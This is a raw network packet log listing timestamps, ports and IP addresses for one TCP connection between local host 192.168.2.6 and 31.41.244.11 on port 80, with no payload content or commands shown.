Nov 23, 2024 13:28:14.743227005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.743263006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.743323088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.744152069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.744241953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.744247913 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.744298935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.745102882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.745160103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.745198965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.745270967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.746104956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.746180058 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.746232033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.747112036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.747157097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.747196913 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.747196913 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.748064995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.748168945 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.748173952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.748259068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.748979092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.749033928 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.898825884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.898844957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.898992062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.899003983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.899072886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.899074078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.899133921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.899985075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.900051117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.900090933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.900176048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.901055098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.901082993 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.901120901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.901159048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.901946068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.902069092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.902175903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.902954102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.903016090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.903059959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.903152943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.903990030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.904047012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.904141903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.904217005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.905112028 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.905139923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.905174971 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.905239105 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.905975103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.906124115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.906222105 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.906980991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.907047987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.907051086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.907130003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.907901049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.907918930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.907979012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.907979012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.908900023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.908986092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.909050941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.909882069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.910016060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.910094023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.910974026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.911030054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.911118984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.911180973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.911780119 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.911835909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.911880970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.911938906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.912837982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.912914991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.912971020 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.913033009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.913760900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.913853884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.913868904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.913969040 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.914796114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.914850950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.914923906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.915277958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.915723085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.915817022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.915828943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.915884018 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.916697979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.916753054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.916829109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.916887045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.917715073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.917774916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.917799950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.917871952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.918663979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.918766975 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.918843031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.919671059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.919735909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.919785023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.919878006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.920639038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.920741081 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.920754910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.920802116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.921617985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.921722889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.921736956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.921801090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.922600031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.922722101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.922924042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.923612118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.923665047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.923681974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.924189091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.924582005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.924659014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.924695969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.924777985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.925592899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.925657034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.925740004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.925805092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.926558018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.926666975 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.926723003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.927628040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.927697897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.927710056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.927783966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.928529024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.928621054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.928636074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.928718090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.929563046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.929613113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.929634094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.929682970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.930486917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.930603981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.930685997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.931473970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.931590080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.931600094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.931669950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.932511091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.932611942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.932658911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.932658911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.933439016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.933553934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.933568954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.933617115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.934444904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.934531927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.934669971 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.935393095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.935456038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.935504913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.935556889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.936377048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.936491966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.936511993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.936568022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.937350035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.937463045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.937484026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.937599897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.938339949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.938484907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.938535929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.939364910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.939430952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.939446926 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.939493895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.940321922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.940398932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.940468073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.940531969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.941278934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.941358089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.941395044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.941462994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.941462994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.942255974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.942394972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.942497015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.943339109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.943422079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.943450928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.943520069 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.944248915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.944309950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.944345951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.944402933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.945369005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.945417881 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.945600033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.945658922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.946254969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.946341991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.946446896 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.947258949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.947310925 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.947365046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.947491884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.948240042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.948308945 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.948348045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.948388100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.949242115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.949270010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.949306965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.949306965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.950182915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.953874111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.100239038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.100358963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.100502968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.100651026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.100720882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.100857019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.100943089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.100954056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.101008892 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.101843119 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.101922989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.101977110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.102814913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.102900982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.102962017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.103133917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.103812933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.103897095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.103918076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.103992939 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.104768991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.104901075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.104908943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.105015039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.105743885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.105803013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.105860949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.106846094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.106865883 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.106933117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.106990099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.107721090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.107831955 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.107904911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.108685970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.108763933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.108829021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.108923912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.109667063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.109729052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.109801054 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.110759974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.110793114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.110817909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.110888958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.111630917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.111748934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.111843109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.112654924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.112706900 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.112756014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.112844944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.113590002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.113639116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.113677025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.113754034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.114572048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.114682913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.114780903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.115557909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.115619898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.115653992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.115705967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.116563082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.116640091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.116666079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.116785049 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.117527962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.117608070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.117623091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.117676973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.118516922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.118633986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.118700027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.119522095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.119611979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.119657040 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.119657040 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.120532990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.120654106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.120707989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.120794058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.121469975 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.121521950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.121573925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.121660948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.122463942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.122577906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.122636080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.123533964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.123591900 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.123688936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.123759985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.124437094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.124528885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.124582052 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.124646902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.125623941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.125678062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.125685930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.125745058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.126626015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.126868963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.126940966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.127479076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.127578020 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.127603054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.127621889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.128405094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.128465891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.128482103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.128540993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.129332066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.129414082 CET	49729	80	192.168.2.6	31.41.244.11
